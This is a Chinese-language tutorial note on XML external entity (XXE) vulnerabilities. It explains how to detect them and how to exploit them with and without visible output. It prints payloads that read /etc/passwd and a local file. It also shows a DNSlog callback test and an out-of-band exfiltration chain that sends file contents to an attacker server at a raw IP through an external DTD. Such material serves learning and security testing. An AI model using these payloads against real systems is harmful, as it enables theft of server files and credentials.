XXE漏洞原理,有无回显判断及利用思路 XML解析器默认允许“实体”变量从外部加载而程序员没有关掉这个功能导致攻击者可以利用这个“外部变量实体”干坏事。利用过程第1步找入口攻击者找到网站接收XML数据的地方比如上传XML文件、SOAP接口、WebService等。第2步发恶意XML攻击者构造一个包含外部实体的XML请求发给服务器xml!DOCTYPE 攻击 [!ENTITY 偷文件 SYSTEM file:///etc/passwd]请求偷文件;/请求第3步解析器执行服务器的XML解析器按照默认配置老老实实地去读取外部实体指向的文件。第4步内容被替换解析器把读到的文件内容输出到 偷文件; 这个位置。第5步数据返回服务器把包含敏感文件内容的响应返回给攻击者攻击成功。无回显判断方式判断?xml version1.0 ? !DOCTYPE test [ !ENTITY % file SYSTEM http://9v5711.dnslog.cn %file; ] userusername/userpasswordxiaodi/password/user1定义了一个外部实体 %file指向一个网址 http://9v5711.dnslog.cn2然后执行 %file;相当于让服务器去访问那个网址3dnslog.cn 是一个监控网站只要有人访问它就会留下记录目的 测试目标服务器有没有主动访问外部网址的能力。如果监控网站收到了请求说明漏洞存在。利用!DOCTYPE test [ !ENTITY % file SYSTEM http://127.0.0.1:8081/xiaodi.dtd %file; ]!ENTITY send SYSTEM file:///d:/1.txt1先去访问 http://127.0.0.1:8081/xiaodi.dtd下载一个外部 DTD 文件2DTD 文件里定义了一个实体 send内容是 file:///d:/1.txt3这个 file:///d:/1.txt 的意思是读取 D 盘下的 1.txt 文件目的 让目标服务器去读取它自己硬盘上的文件比如密码、配置信息然后通过某种方式把内容传出来。无回显读文件?xml version1.0? !DOCTYPE ANY[ !ENTITY % file SYSTEM file:///d:/1.txt !ENTITY % remote SYSTEM http://47.94.236.117/test.dtd %remote; %all; ] rootsend;/root!ENTITY % all !ENTITY send SYSTEM http://47.94.236.117/get.php?file%file;第一步 攻击者把恶意XML发给目标服务器。第二步 目标服务器解析这个XML执行 %remote; → 去 http://47.94.236.117/test.dtd 下载指令文件下载到的 test.dtd 里定义了 %all 实体第三步 目标服务器继续解析执行 %all; → 此时 send 实体被定义内容是http://47.94.236.117/get.php?file[1.txt的内容]第四步 目标服务器解析到 rootsend;/root执行 send; → 目标服务器向攻击者的 get.php 发送请求把 1.txt 的内容带了过去第五步 攻击者的 get.php 收到请求记录下参数中的文件内容。第六步 攻击者查看自己的服务器日志拿到了目标服务器 D 盘的 1.txt 内容。前面和回显一样只是因为不回显所以需要去将内容通过服务器访问外部地址将内容当作传参将他带出来被外部网站通过get或者post获取